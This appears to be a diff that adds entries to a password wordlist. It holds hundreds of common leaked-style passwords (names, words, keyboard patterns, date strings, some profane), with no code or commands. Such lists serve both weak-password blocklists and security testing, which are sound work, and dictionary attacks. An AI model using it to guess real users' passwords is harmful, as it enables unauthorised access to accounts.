+hellbound
+hellboun
+helens
+hektor
+hejsan123
+heinz57
+heimdall
+heiko
+heehaw
+hedge
+hecto
+hecmax
+hecfkrf
+heavymetal
+heavymet
+hawkey
+hawaiiguy
+hauser
+hatrick
+hatebree
+hassel
+harveys
+harsha
+harrison1
+harr
+harmless
+harlot
+harley88
+harem
+hardwick
+HARDON
+hardee
+hard69
+harakiri
+happyhappy
+happyface
+happycat
+happy13
+happen
+hanford
+handy1
+hammie
+hammer11
+hamm
+hamburg1
+halsted
+hallelujah
+hakuna
+hakaone
+hackedit
+H9iyMXmC
+h4ck3d
+h397pnvr
+h200svrm
+gxtkrf
+gvanca
+guss
+gusev
+gurumayi
+gunsmith
+gunnison
+Gunner
+gundog
+gundamwing
+gundam00
+gulla
+guitare
+guenther
+Guardian
+guapo
+guadalupe
+gtynfujy
+gtnhjpfdjlcr
+gruppa
+grumpy1
+grudge
+grow
+gromova
+groin
+grizzlie
+greygrey
+greyfox
+greta1
+grepw
+grenoble
+grego
+greg78
+greetings
+greengre
+green42
+gree
+grayfox
+gravedig
+Grateful
+grass1
+granvill
+grammar
+graham1
+gottago
+Gothic
+goteam
+gorila
+gorges
+gorden
+gorbunova
+gopinath
+googly
+goodlove
+good4me
+Goober
+goniners
+gomez1
+gomer1
+golos1
+Golf1
+goldone
+goldie1
+goldenbo
+gohogsgo
+gogolf
+gogetter
+gogagoga
+godsend
+godless
+god123
+glue
+glossy
+glock1
+gleb
+gladius
+glacius
+gkfdfybt
+gjpbnbd
+gizzy
+gizmo2
+giveit
+gingin
+ginger123
+gineok
+gimmie
+gilgamesh
+gilead
+gigio
+gigantic
+gibso
+Giants1
+ghjuhfvbcn
+ghjatccbjyfk
+ghfgjh
+Ghbdtnbr1
+ggggggggg
+gggg1
+gfitymrf
+gfhjkm1234
+gfhfyjqz
+gfhfdjpbr
+gfgfif
+gfgfgfgf
+getajob
+gestalt
+gerlinde
+gerd
+gerbera
+gerasimova
+gerar
+geral
+georgia2
+Georgia1
+george13
+Geoffrey
+genetic
+generale
+gendalf
+gems
+gemini11
+Gemini1
+gemeni
+gehenna
+geeque
+gbgtnrf
+gayman
+gaylor
+gayathri
+gavrilov
+gauthier
+Gators
+gateway3
+ganteng
+ganges
+gandalf3
+gandalf0
+gandako
+gamer123
+gameplay
+gamecocks
+gambit1
+gallen
+gage
+gadina
+gabriel12
+g1234567
+g0away
+fynjyjdf
+fynfyfyfhbde
+fyfnjkmtdyf
+fuzzie
+fusilier
+furnace
+funnel
+funker
+fun4all
+fujimo
+fufnfrhbcnb
+fuckthem
+FUCKIT
+fuck99
+fuck666
+fubared
+fubar123
+frown
+frogman1
+fritze
+frigate
+fries
+Friday
+freyja
+FreeSpace
+freema
+freedom8
+freda
+fred20
+freakme
+freakboy
+fre_ak8yj
+frasse
+frank69
+FRANK
+FRANCE
+fozzy
+fourty
+fourplay
+foundation
+fotze
+forzaroma
+forward1
+foru
+fortune1
+fort
+forplay
+forgetme
+fords
+fordgt40
+ford50
+forced
+footsy
+footie
+fooey
+foo123
+folio
+folgers
+fofofo
+flywheel
+flyers99
+Flyers
+flyboy1
+flowing
+FLOWER
+flopsy
+flippe
+fleshbot
+fleabag
+flavi
+flat
+flake
+fktrcttdf
+fkrjujkbr
+fizban
+fiver
+five55
+fitzgerald
+fishstic
+fishfinger
+fisheye
+fireplug
+firegod
+fire13
+finding
+fincher
+filipina
+filial
+filatova
+figure8
+figona
+fifa2010
+fifa
+fiero
+fidodido
+fiction6
+fibonacci
+fiasco
+fhrflbq
+fetus
+festiva
+ferret1
+ferrero
+fergis
+ferdie
+ferdi
+fengshui
+fenerbahc
+fences
+feets
+federov
+feather1
+fcgbhby
+faucet
+fathead1
+fatdick
+fastfast
+fastest
+farming
+Farmer
+fargus
+faramir
+faqfaq
+fangio
+fanatik
+fallengun
+fall99
+falcon69
+fairchil
+faceman
+f0cus1
+expresso
+Express
+expos
+expired
+excellence
+evropa
+evh5150
+every
+everto
+events
+evenpar
+euclid90
+Esther
+esthe
+essen
+espoir
+esenin
+escaflowne
+ervin
+ertyuiop
+eriksson
+ericcc
+eric99
+eric11
+erdfcv
+****er
+equine
+epstein
+entrar
+entrada
+enron714
+enolagay
+enkidu
+english1
+engels
+enfant
+energ
+ending
+endeavor
+encounter
+enchante
+empire11
+emotions
+emergency
+emergenc
+elves
+elmoelmo
+elmer1
+elliemae
+elgordo
+elevation
+elessar
+eleonor
+elbert
+Elaine
+el345612
+egoiste
+eeeeeeeee
+eeeee1
+edward2
+edward11
+eduard1
+edmonds
+ededed
+eddie2
+Eclipse1
+eatmeat
+easy1
+earnest
+eagles12
+eagleman
+Eagle
+%E2%82%AC
+dylandog
+dweezil
+dweeb
+Dvdcom
+duty
+dustin1
+dustbin
+dunwoody
+dulce
+dukeman
+duke33
+dugway
+dudu
+DUDLEY
+DUDE
+duckhead
+dubesor
+dtheyxbr
+dtcyeirf
+drumdrum
+druhill
+drucker
+drool
+drift
+Dreams
+dream2
+drea
+dre3dre
+drakcap
+dragstar
+dragoon1
+dragon666
+dragon33
+dragon18
+doulos
+Douglas1
+doug1
+dott
+dotdot
+doss
+Dortmund
+dorothee
+dorothea
+dorene
+doors1
+doog
+doodlebu
+donna123
+donking
+DOLPHIN
+DOLLAR
+dogleg
+doggy123
+doggdogg
+dogdays
+dogbutt
+Doctor1
+dmitrij
+DmfxHkju
+dkfcntkby
+djkxbwf
+djctvm
+djamaal
+dizzle
+divina
+divin
+divider
+divad
+DISNEY
+discordi
+discman
+disarm
+dinah
+dimitry
+dima1985
+Dima123
+diggit
+DIGGER
+dietpeps
+Dieter
+diesirae
+diario
+diamond4
+dfhrhfan
+dfhdfh
+dfdfdfdf
+dfdf
+devotee
+Devils
+devil69
+devastator
+deuce2
+destiny2
+destini
+desi
+deshawn
+desember
+derrek
+dereks
+denture
+denny1
+denis1988
+demoman
+demetriu
+delta6
+delonge
+delirium
+deisel
+deepsix
+deeman
+deebee
+dedham
+decline
+decibel
+decent
+debeers
+death2
+deandean
+deadzone
+deadmoin
+deadmau5
+deadfred
+dead13
+dbzdbz
+dbnfkbyf
+daystar
+daxter
+daxdax
+davinchi
+davin
+david22
+dave41
+dave2
+dave01
+datho
+dasein
+dartmouth
+dannyd
+danny001
+danno
+danna
+daniel3
+dange
+dandie
+dance123
+damian1
+dale3
+dakota99
+dak001
+daisuki
+dagobah
+daffyduck
+Daddy
+dabdab
+d41d8c
+d1d2d3
+czarny
+cymru
+cyclone1
+cybrthc
+cuyahoga
+cutoff
+curtains
+currahee
+cunningh
+cumquat
+cumberla
+cum2me
+culoculo
+cubsfan
+ctrhtnyj
+csm101
+cscscs
+crystal0
+Crusader
+crock
+crip
+crhbgrf
+Creativ1
+crazyj
+cranston
+craiger
+crackpot
+cqub6553
+coyote1
+cowdog
+coupon
+cougars1
+cottage1
+cosmodog
+cosette
+cosenza
+corsano
+corrado1
+coron
+cornelius
+cornelis
+corine
+corecore
+coorslit
+cooper2
+cooper11
+Cooper1
+coon
+coolio1
+cool-ca
+coolbree
+cookie13
+cookie123
+Cookie1
+convair
+controller
+contro
+contrasena
+contax
+consulta
+constanc
+conny
+conno
+connell
+connard
+conklin
+confed
+conducto
+conditio
+compost
+compac
+combs
+coma
+com
+colucci
+colo
+colleg
+colin123
+coin
+coffee2
+coffee12
+cody11
+cocotte
+cocomo
+cock1
+cochrane
+coal
+clubcapt
+clk430
+clitring
+clique
+clickit
+clearwat
+Classic1
+classe
+cisco69
+cintaku
+cinque
+ciccia
+cia123
+chuvak
+chumpy
+chris999
+chris6
+chris5
+chris33
+chris200
+chopsuey
+chlorine
+chippie
+chipmonk
+chiphi
+chinnu
+chingada
+chinadol
+chimp
+chileno
+chicony
+chicken0
+chicc
+chicago0
+chevy01
+chester3
+chesss
+chess1
+cheryl1
+cherry12
+Cherry
+chelsea7
+cheetahs
+cheesey
+checkm8
+chart
+charlus
+charlize
+charchar
+chaparra
+changing
+change12
+changa
+chanel5
+Chandler
+Chance
+chaika
+chacha1
+cfif
+cfiekmrf
+cfdbyf
+cesa
+cerebro
+ceramics
+central1
+centra
+celos1
+celeste1
+Cdznjckfd
+cdtnkfy
+cdtnf
+cbljhjdf
+cbcmrf
+caverns
+caveat
+cavalla
+cause
+catolica
+cathrine
+cathie
+catchme
+catch2
+catapult
+catania
+castle1
+cassie12
+Cassie1
+casper123
+casita
+carro
+carri
+carreras
+carper
+carmina
+Carmen1
+carlsbad
+CARLO
+caritas
+carame
+Captain1
+capri50
+capitano
+canter
+cant
+cannelle
+canfield
+candyfinger
+CANDY
+candoo
+camster
+campus100
+cameron7
+CALVIN
+call06
+cakewalk
+cairn
+cagiva
+cage
+cactus1
+cabin1
+c7e4f8EzqH
+byoung
+buyer
+buttss
+Butthea1
+buster69
+buster3
+buster123
+bushmast
+burzum
+burundi
+burro
+burrfoot
+burden
+Bunny
+bung
+bundy1
+bumsen
+bultaco
+bullnuts
+buldozer
+bujhmbujhm
+bugssgub
+buffy1ma
+buffs
+buffal
+budman1
+buddy4
+BUDDY1
+buck01
+bubbly
+bubbles2
+bubba7
+bubba12
+bryan123
+brutu
+brunob
+bruce123
+brownn
+brother2
+brooze
+brooms
+bronc
+broadban
+brittni
+britania
+brillo021
+brille
+bricky
+brice
+brianp
+briang
+briane
+brianc
+bri5kev6
+breeder
+breakout
+breakdance
+breads
+breach
+brea
+BRAZIL
+Braves
+brave1
+braun
+brandon8
+Brandi
+br5490
+boyfriend
+boxxer
+boxman
+BOWLING
+bouche
+bouboule
+bossss
+bosslady
+boscos
+borracho
+borodin
+born2run
+boris2
+boredboi4u
+booty69
+booster1
+boomer22
+boolean
+boogyman
+BOOBS
+booboo2
+Boobies
+bonnies
+bonker
+bongwater
+bondra12
+bond0007
+BOLLOCKS
+bolbol
+bolat
+bokser
+boing747
+bogger
+bogdan123
+bodybuil
+bodo
+bodhi
+bobi
+bobcat12
+bobbyt
+bobbyjoe
+bobbybob
+bobby18
+bob69
+bmw635
+bmw328i
+bman
+blur
+bluewave
+bluesky1
+blues2
+blueroom
+bluejay1
+bluegreen
+blowpop
+blowj
+bloodred
+blitzkrieg
+bliss1
+bleed
+bleacher
+blanks
+blackpus
+blackmor
+blackgir
+blackfoo
+black10
+blaat
+bkmifn
+bjork
+bjarne
+bitches1
+Bishop
+birthday28
+birthday27
+birthday26
+Birdie1
+bioman
+binker
+bink
+bine
+bimbo1
+bimbim
+Billyboy
+billee
+bigwaves
+bigtuna
+bigtee
+bigrig
+bigmax
+bigman1
+biglips
+bigkev
+bigjake
+biggums
+biggame
+bigfoo
+bige
+bigdon
+BigDaddy
+bigbubba
+bigboys
+bieber
+bidule
+bicho
+bibibibi
+Bianca
+BG6nJoKF
+bftest
+Beverly
+betty123
+bettis36
+betsie
+betsey
+betmen
+bertuzzi
+bertus
+berti
+bernie51
+bernie1
+berna
+berlingo
+bergen09
+beppe
+BENSON
+benny2
+bendis
+belly1
+bellend
+bela
+BEETLE
+bedbug
+beckys
+beckman
+beckham23
+bebeto
+Beauty
+beaulieu
+beardog1
+bear99
+beano002
+beachy
+beaches1
+Beach1
+bdfysx
+bcrich
+bboy
+BAZongaz
+Bayern
+battery1
+basura
+Bastard
+bassey
+basse
+baskets
+basketball1
+basia
+baseball7
+baseball11
+basebal1
+barth
+bart316
+barsic
+barney01
+Barnes
+barmalei
+barf
+bardak
+Barbie
+barbel
+baobab6
+banglade
+bangalor
+bandicoot
+bandar
+banaan123
+bammbamm
+bama12
+ballad
+baldeagl
+bakesale
+bakerman
+baka
+bailie
+bahia
+bahbah
+bags
+bagman
+baddog1
+bacteria
+bacons
+BABYLON
+babyfac
+babyblu
+baby22
+baby12
+babuin
+babebabe
+babare
+b26354
+azzurro
+azure
+azat
+awo8rx3wa8t
+avion
+avalon11
+AVALON
+autum
+australia1
+auntjudy
+august9
+august29
+audia8
+atom
+Atlanta1
+athlon64
+astronomy
+astroman
+assman1
+asslicke
+asshole123
+asmodey
+asmara
+ashley24
+ashes1
+asher
+ash123
+ASDFG
+asdasd22
+asad
+arvind
+artichok
+artemis1
+artema
+artem1995
+artem1992
+artcast2
+arsenii
+arsenal14
+arsenal0
+arrive
+arnold1
+armchair
+arlingto
+arlen
+arkasha
+arkady
+arjuna
+arianna1
+arequipa
+arenas
+ardmore
+arashi
+arab
+april24
+april14
+appliance
+applejuice
+appeal
+apollo8
+aperture
+apache64
+anytimetoday
+anya
+antonioj
+antonio3
+antiflag
+antichrist
+anthony8
+anthony4
+anonymer
+anointed
+annoy
+annerice
+annelise
+anitha
+animes
+anime123
+animalsex
+angora
+angelz
+angelo1
+angelia
+angelangel
+angel20
+angel17
+ang238
+andy76
+andrey1
+andrew99
+andrei123
+Andre
+ander
+anatoli
+anar
+analanal
+anais
+amours
+amoroso
+amizade
+amit
+amin
+america2
+amenra
+amenamen
+amen
+amberly
+Amber1
+amanda10
+amamam
+amadeusptfcor
+alydar
+always1
+alvin1
+alton
+altman
+altezza
+alphasig
+alltheway
+allies
+allie1
+allen34
+allen3
+alla98
+alisaaa
+alina2006
+alina123
+alfonzo
+alexx
+alex97
+alex74
+alex2
+alex1998
+alex1995
+alex1982
+alex1975
+alex10
+Alex1
+aleshka
+aleksi
+alegna
+alchemist
+albert12
+albatro
+alaric
+alan1
+al123456
+akvarium
+akuma
+akshay
+akita
+akinfeev
+akakak
+airways
+airjorda
+aiden1
+agatka
+agate
+agahaja
+afroman
+afrodite
+afrika2002
+affe
+aessedai
+aerith
+aerdna
+aeneas
+Adrianna1
+adriane
+Adrian
+adkins
+adjuster
+adilbek
+adi7id5
+adelante
+adebayo
+addpass
+adalbert
+acuracl
+acumen
+action1
+Action
+access88
+abuela
+abra
+abihsot
+abeille
+abcabc55
+aassaa
+aass
+aaron12
+aaa123aaa
+a22222
+a1s2d3f4g5h6
+A1B2C3D4
+A1B2C3
+a123456b
+A123456789
+99ranger
+999999999999
+999555
+98xa29
+989989
+987654321g
+9875321
+97979797
+96ford
+9632
+9311
+9310002
+92856
+9199
+9173
+917190qq
+911119
+8995
+8969
+8910
+89032073168
+8900
+888889
+8885
+8877
+8811
+8807031
+8800
+8687
+8668
+8541
+8538622
+8523
+8521
+8520456
+82828282
+824358553
+8218yxfz
+7997
+7911
+789512
+7895
+7883
+78789898
+7791
+7789
+77879
+7781
+7777777z
+7777777s
+7776
+7767
+776655
+7755
+76689295
+7652
+7591
+7576
+7532
+7456
+7444
+741123
+740000
+73997399
+737737
+7374
+727727
+7227
+7221
+7212
+7201
+7195
+717717
+7177
+7173
+7159
+713713
+70sguy
+6yhn7ujm
+6inches
+6997
+6963
+6943
+6910
+686686
+6833
+6741314
+671fsa75yt
+6688
+6663
+6644
+6600
+6575
+65656
+650000
+6500
+64chevy
+6375
+6369
+6364
+636332
+6266
+6215mila6215
+6043dkf
+5unshine
+5gtGiAxm
+5f68t9
+5element
+5969
+5880
+5853
+5844
+5837
+5747
+5692
+56836803
+5654
+5565
+55555N
+5545
+55443322
+55378008
+5521
+5515
+5487
+5465
+5463
+5446
+543211
+5430
+5427
+5412
+5335
+5318008
+5280
+5272
+52415241
+5222
+5163
+51515151
+5150vh
+511647
+50cen
+500600
+5001
+4speed
+4seasons
+4nick8
+4ever4
+4950
+49494949
+4921
+48n25rcC
+4874
+4862
+4840
+4815162342lf
+4801
+4756
+4754
+4717
+46and2
+4682
+4588
+45674567
+4561
+45544554
+4521
+4512
+4509
+45014501
+44e3ebda
+44884488
+4447
+444455
+444111
+4425
+4410
+4387
+43724372
+4344
+4331
+4312
+4279
+427287
+4265
+4247
+4237
+4229
+422422
+420420420
+4187
+4143
+41214121
+4117
+4115
+4077
+4061994
+4030
+388388
+3845
+3824
+37Kazoo
+3710
+36dd
+36987
+36985214
+3655
+3654
+3633
+3625
+3599
+357357357
+350350
+3481
+34773477
+3457
+3443
+342500
+3376
+3358
+334334
+3339
+3335
+3331
+3326
+3315
+3314
+3309
+3303
+3296
+328328
+3269
+323323
+3213
+32113211
+32023202
+318318
+3161
+31359092
+312mas
+3126
+3121
+311295
+311271
+31121965
+31101997
+31101963
+31101958
+310878
+310873
+31081961
+31071970
+31071964
+310575
+310573
+310568
+310558
+31053105
+31051998
+31051961
+310375
+310367
+31031959
+310310
+31021364
+31011963
+310000
+308win
+301271
+301197
+301175
+301167
+30111971
+301075
+301071
+301068
+301060
+300zxtt
+300977
+300968
+30091966
+300894
+300891
+300878
+300875
+300868
+30081996
+30081955
+300784
+300776
+300772
+30071968
+30071963
+300672
+300668
+300570
+30051964
+30051962
+30051961
+30051957
+300460
+30041958
+300391
+300376
+30032001
+30031961
+30031937
+300177
+300170
+30011955
+2yKN5cCf
+2vRd6
+2legit
+2hot4you
+2hot4me
+2boobs
+2balls
+2991
+2975
+29622962
+2951
+29292
+291279
+291277
+29121970
+291175
+29111964
+29111958
+29111955
+291093
+29101964
+29092001
+290877
+29081997
+29081970
+290773
+29071965
+29071964
+29071963
+290594
+290593
+290570
+29051999
+29051958
+290469
+290373
+29031967
+29031966
+29031963
+29031960
+29022000
+2900
+28822882
+2878
+2875
+2868
+2866
+2855
+28121996
+281166
+28101999
+280993
+28091997
+28091968
+28091960
+280890
+28081963
+28081958
+280795
+280774
+280763
+280697
+280672
+28061967
+280574
+280572
+280569
+280496
+280491
+280478
+280474
+28042000
+28041968
+28041961
+28041958
+28032000
+28031958
+280272
+28021971
+28021959
+280197
+28011965
+28011960
+2737
+2730
+27128
+271275
+271273
+271270
+27122005
+27121997
+271197
+271176
+271174
+27111964
+27111962
+27111960
+27111958
+27111957
+271097
+271079
+271075
+271068
+27101968
+270979
+270976
+27091997
+27091960
+270873
+270869
+27081967
+270796
+270771
+27061966
+27061960
+270576
+270573
+270568
+27051966
+27051958
+27051957
+270498
+270478
+270474
+270468
+27041964
+27041959
+27041956
+270399
+270396
+27031967
+27031964
+27031962
+270287
+270271
+27022000
+27021958
+270194
+270173
+270167
+27011965
+2654
+26262
+2613
+261292
+26121960
+261191
+261173
+26111963
+26101997
+26101996
+26101970
+26101960
+260975
+260970
+260965
+26091963
+26081957
+260778
+260697
+260665
+2606642yra
+26062001
+26058
+26051965
+260473
+260469
+26041968
+26041962
+260397
+260372
+260371
+26031966
+26031965
+26031964
+26031955
+26028
+260278
+260275
+26021963
+260174
+260168
+26012001
+26011965
+26011961
+2599
+258046
+2580258
+257257
+2559
+2558
+2557
+2529
+2513
+251276
+25122001
+25122000
+251169
+251168
+25111999
+25111962
+25111954
+251098
+251073
+251066
+25101970
+25101962
+250993
+250967
+250965
+25091962
+250877
+250873
+250871
+250767
+250759
+25071998
+25071956
+250675
+25061966
+250591
+250579
+25051997
+25051962
+25051961
+25051960
+250493
+25041958
+25031970
+25031966
+250276
+250273
+25021960
+250176
+250171
+25011997
+25011964
+2500hd
+2500aa
+2491
+24861793
+24688642
+246801
+2462
+2454
+2441
+24282428
+2426
+2422
+241978
+241275
+241269
+241264
+241241
+24121961
+241174
+241169
+241162
+24111963
+241097
+241095
+241066
+24101998
+240967
+24091969
+24091964
+24091962
+24091954
+240898
+240872
+24082408
+24081965
+24081963
+24081958
+240795
+240776
+240770
+240769
+24071963
+240697
+240696
+240662
+24061962
+240572
+240566
+240499
+240478
+240471
+24041999
+24041965
+24041960
+240392
+240376
+240360
+24031968
+24031963
+240296
+240273
+240263
+24021965
+2401pedro
+240170
+24012000
+24011969
+24011964
+23WKoa0FP78dk
+2380
+2367
+2361
+234561
+2336
+23252325
+2319
+2316
+23121965
+23121963
+23121958
+23118
+231170
+23112000
+23111961
+231098
+231097
+23102001
+23101968
+23101967
+23101961
+230993
+230968
+23091960
+230875
+23081999
+23081998
+23081965
+23081963
+23081962
+230797
+230768
+230767
+23071969
+23071966
+23061997
+230597
+23058
+230570
+230567
+23051964
+23051963
+230496
+230474
+230463
+23042304
+23041963
+23041960
+23041958
+230381
+230369
+230367
+230363
+23031970
+23031957
+230296
+230273
+230265
+230230
+230198
+230177
+230172
+230159
+23011964
+230101
+2282
+2281
+2278124q
+22422242
+2238
+223355
+22224444
+221980
+221976
+221969
+221294
+221277
+221263
+22121997
+221196
+221182
+221178
+221174
+221173
+22112000
+22111964
+22111962
+221061
+22101971
+220997
+220894
+220873
+220863
+22081968
+220796
+220763
+220697
+220671
+220668
+22062000
+220574
+220557
+22051998
+220497
+220454
+22041965
+22041961
+220363
+22031961
+220296
+220274
+220268
+22021968
+220169
+219219
+2188
+2185
+2180
+2178
+2177
+2157
+213546879
+2128
+211273
+21122001
+211194
+211169
+21111962
+2110se
+211095
+21108
+211072
+21101962
+21101961
+210969
+21091999
+21091997
+21091963
+21091962
+21091959
+210896
+21088
+210873
+210872
+210862
+21082000
+21081963
+210766
+21071968
+21071965
+210673
+210666
+21061968
+210569
+210563
+21051966
+21051960
+210476
+210459
+21041965
+21041964
+210372
+210369
+210365
+21031961
+210296
+21021960
+210198
+210168
+21011959
+21011954
+2075
+201980
+20121999
+20121963
+20121961
+20121960
+20120
+201196
+20112000
+20101967
+20101966
+20101964
+20101961
+20101959
+20092000
+20091997
+20091963
+20091961
+200899
+20081968
+20081954
+200794
+200776
+200770
+20071961
+200698
+200697
+200672
+200668
+200661
+20062001
+20062000
+20061998
+20061969
+200597
+20058
+200570
+20052007
+20051999
+20051970
+20051960
+20041997
+2004-11-
+200394
+20031963
+200297
+200271
+20021966
+20021965
+200195
+200190ru
+200176
+200170
+200161
+20011958
+1zxcvbnm
+1Winter
+1Video
+1Surfer
+1Steeler
+1Spanky
+1Sexsex
+1Rrrrr
+1Richard
+1qwe2
+1qaz2WSX
+1q3e5t7u9o
+1q21q2
+1pizza
+1Panties
+1Packers
+1Ooooo
+1Oliver
+1newlife
+1mustang
+1Mouse
+1month
+1Monster
+1Michell
+1Magic
+1lover
+1Legend
+1Kkkkk
+1Iiiiiii
+1Golf
+1Gateway
+1Freedom
+1Flowers
+1Ffffff
+1escobar2
+1Doctor
+1Crazy
+1Cowboys
+1chicken
+1Celtic
+1Carolin
+1Bill
+1Bigdick
+1bigdick
+1Banana
+1Badger
+1Arsenal
+1Angels
+1Abcdefg
+1a2b3
+199619
+19952009
+199511
+199422
+199415
+19932916
+199315
+199311
+199224
+199216
+199129
+199020
+198922
+198917
+198913
+198911
+1988198
+198803
+198712
+19871
+19861987
+19851986
+198505
+198326
+19832
+19831985
+198282
+19821984
+19821983
+19820
+19811983
+19801982
+197919
+197811
+19780
+197700
+19761977
+197611
+19735
+197325
+197119
+197101
+196869
+196565
+196100
+19211921
+191987
+191276
+19122000
+19121961
+19121958
+191176
+191170
+19111956
+191061
+19101966
+19101959
+190970
+19091960
+190893
+190881
+190870
+19081967
+19081965
+190794
+190793
+190790
+190782
+190774
+19072000
+19071998
+190693
+190673
+19062001
+19061956
+190591
+19051969
+190476
+190390
+190376
+19031961
+190280
+190275
+190274
+19021967
+19021965
+19021958
+19021902
+190192
+190183
+19011970
+19011951
+1868
+1863
+1861brr
+1850
+1833
+1819
+181272
+18122000
+18121966
+181194
+18118
+181170
+18111967
+18111963
+18111961
+18111960
+181066
+18101957
+18101956
+18091963
+18091961
+18091955
+180677
+180671
+180573
+18051961
+180496
+180493
+180468
+18041970
+180396
+180378
+180367
+18032000
+180281
+180273
+180272
+18021953
+180178
+18012001
+18011961
+18011958
+1779
+1773
+1770
+1768
+1754
+1749
+173173
+1727
+171296
+17121969
+17121961
+171197
+17111963
+17111959
+171095
+17101961
+170968
+17091955
+17081961
+170797
+170796
+170772
+170768
+170760
+17072000
+17071960
+17071707
+170694
+170573
+170566
+17051968
+17051964
+17051960
+170460
+170374
+170369
+17031998
+17031961
+170279
+170270
+17021998
+170169
+17011999
+17011962
+1700
+1678
+164164
+1632
+163163
+1631
+1630
+16128
+161275
+161270
+161266
+161262
+16121964
+16121960
+161174
+161159
+16111999
+161076
+16101969
+16101967
+16101962
+16101957
+160981
+160976
+160974
+16091967
+16091962
+160896
+160872
+160869
+160867
+16072001
+16071999
+16071958
+16071957
+160674
+16061963
+160574
+160568
+16051964
+16041972
+16041966
+16041961
+16041959
+16031961
+16031958
+16031955
+160297
+160279
+160271
+16021967
+16021964
+16021958
+160176
+160175
+16011971
+16011966
+15975312
+159357q
+159357852
+1593575
+1591
+159000
+1571
+1553
+1542
+1530
+1529
+15253545
+1524
+15128
+15121962
+15121957
+15121955
+151163
+15111998
+15111964
+151073
+151071
+151066
+15101961
+15101960
+15101510
+15091968
+15091966
+15091954
+150780
+150773
+15071999
+150697
+15061961
+150597
+150571
+15051968
+15051962
+15051961
+150495
+150465
+15042000
+150376
+150370
+15031998
+15031960
+15031959
+15031956
+150300
+15028
+150276
+15021966
+150177
+150172
+15011965
+15011961
+1488ss
+147852963
+147456
+147369258
+14691469
+1462
+145678
+14371437
+14331433
+14314
+1427
+1426
+142500
+1419
+1413
+14121956
+14111411
+141093
+141091
+14108
+14102001
+140976
+140975
+140966
+14091996
+14091965
+14091963
+14091960
+14091959
+140897
+140896
+140891
+140871
+140868
+140865
+14081997
+14081967
+14081961
+140784
+14078
+140760
+14071969
+14071967
+14071966
+140695
+140674
+140596
+14051967
+140505
+140373
+14031998
+140296
+14021961
+14021959
+140197
+140175
+140174
+140173
+140140
+14011999
+14011965
+1399
+1391
+138500
+1382
+136479
+1357924
+135789
+135642
+1354
+13481348
+134679a
+134652
+133andre
+13221322
+13191319
+131274
+13122000
+13121966
+131198
+131193
+131192
+13118
+131166
+13111961
+13111960
+13111958
+131095
+13101997
+13101960
+13101959
+130976
+130973
+130966
+13091970
+13091961
+130898
+130894
+130872
+130868
+13081969
+13081951
+13071961
+13061966
+130594
+13051966
+13051965
+13051964
+130473
+13042000
+130392
+13031962
+13031961
+130293
+130272
+13021997
+13021965
+130166
+13011956
+12qwer
+12QWaszx
+12monkeys
+1266
+12581258
+125267
+125000
+124c41
+124536
+123max
+123ewqasdcxz
+123b321
+123as
+123a123a
+123987456
+12398
+12389
+1237654
+1236798
+12358
+12345tgb
+12345abcd
+123456zzz
+12345678w
+12345678d
+123456789qwer
+123456789j
+123456789asd
+1234567892000
+1234567890m
+123456789000
+1234567887654321
+1234562000
+12345543
+123321qw
+123180
+123123asd
+123123789
+1231230
+1230987
+123007
+12261226
+122183
+122177
+122173
+12213443
+122012
+121996
+121990
+121988
+121985
+121968
+121957
+121883
+121882
+121477
+121256
+1212312121
+12121998
+12121960
+121166
+121073
+12101997
+121012
+12092008
+12091964
+12091959
+12091958
+120862
+120772
+12077
+120765
+120665
+120656
+12061962
+120600
+12060
+120572
+120567
+120565
+120564
+12051958
+120505
+120497
+12049
+12041959
+12038
+12031999
+12031966
+12021964
+12018
+120158
+12000
+11king
+119955
+118801
+1169900
+11551155
+11471147
+11432006
+113078
+112971
+112375
+112358132
+112175
+112172
+112111
+111990
+111986
+111972
+111965
+111962
+111298
+111277
+111268
+11121966
+11121961
+11121112
+1111988
+111168
+111164
+111160
+11111965
+11111963
+1111111111a
+111111111111111
+111098
+111092
+110960
+11091960
+11091956
+110867
+110866
+11081965
+11081956
+110767
+110763
+110761
+11072000
+11071970
+11071964
+110699
+110662
+11061969
+11061966
+11061963
+11061962
+11061961
+11061958
+11051996
+11051958
+110506
+110460
+11041969
+11041959
+110366
+110364
+110361
+11031962
+11021959
+110197
+110165
+110159
+11012566
+11012008
+11011968
+11011960
+1093
+108888
+1087
+1061
+1053
+1052
+103082
+103069
+10293847qp
+102938475
+10287
+102498
+102466
+102288
+102282
+102276
+101988
+10198
+101970
+10197
+1012NW
+101294
+10121967
+10121958
+101199
+101194
+101168
+101160
+101158
+10111959
+101057
+101054yy
+10101998
+10101965
+100966
+100963
+100958
+10091972
+10081998
+10081965
+10081963
+10081959
+10081953
+100800
+100771
+10071999
+10071963
+10071957
+100671
+10061964
+10051961
+10051005
+100467
+10041967
+10041962
+10041958
+100394
+100293
+10021002
+100165
+10011974
+100110
+0994
+0920
+091293
+09121967
+091177
+091175
+091174
+09112000
+09111999
+09111968
+09111961
+09110911
+091094
+091090
+091085
+09101964
+090995
+09091998
+09091967
+09091962
+09091961
+09091958
+09091957
+090892
+090886
+090884
+090796
+09071971
+09071963
+09071961
+090660
+09061964
+09061963
+090579
+090564
+09051960
+090492
+090478
+090466
+09041998
+09041997
+09041956
+090399
+090395
+09031998
+09031970
+09031963
+09022001
+09021999
+090183
+090181
+09011999
+09011966
+09011959
+0830
+081292
+081290
+08121963
+081193
+081184
+081181
+081171
+08111958
+081098
+081091
+081077
+08101965
+08101959
+080997
+080994
+080993
+080991
+080982
+08091958
+080896
+08081966
+08081964
+08081963
+08081959
+080799
+080792
+080791
+080782
+08071963
+080697
+080666
+08061958
+080572
+080570
+08052000
+08051969
+08051965
+08041964
+08041963
+080398
+080395
+08031958
+080295
+080293
+080274
+080199
+080193
+080192
+080183
+08011965
+08011964
+0795
+0773
+071277
+071270
+07122001
+07121954
+071174
+071168
+071161
+07111970
+07111968
+07111964
+07111958
+071098
+07101968
+070976
+07091996
+07091969
+07091967
+070879
+07081968
+07081967
+07081960
+070773
+07071966
+070673
+07061971
+07061967
+07061965
+07061958
+070497
+070496
+070493
+070491
+070474
+070472
+070469
+070386
+070375
+070374
+07031963
+07021999
+07021968
+070185
+070183
+07011959
+0694
+0689
+0669
+061982
+0617
+061299
+061275
+061270
+061266
+061170
+06111998
+06111997
+06111969
+06111966
+061078
+061072
+06101999
+06101966
+060988
+060983
+06091999
+06091997
+06091965
+06091962
+06091960
+06091959
+060880
+06071997
+06071965
+060698
+06061961
+06061960
+060570
+06051970
+06051958
+060506
+060498
+060491
+06042000
+06041998
+060392
+060389
+060379
+060373
+060372
+060369
+06031964
+06031961
+06021999
+06021967
+06021964
+06021956
+060195
+06012000
+0594
+0592
+0590
+0589
+0582
+052098
+051292
+05121958
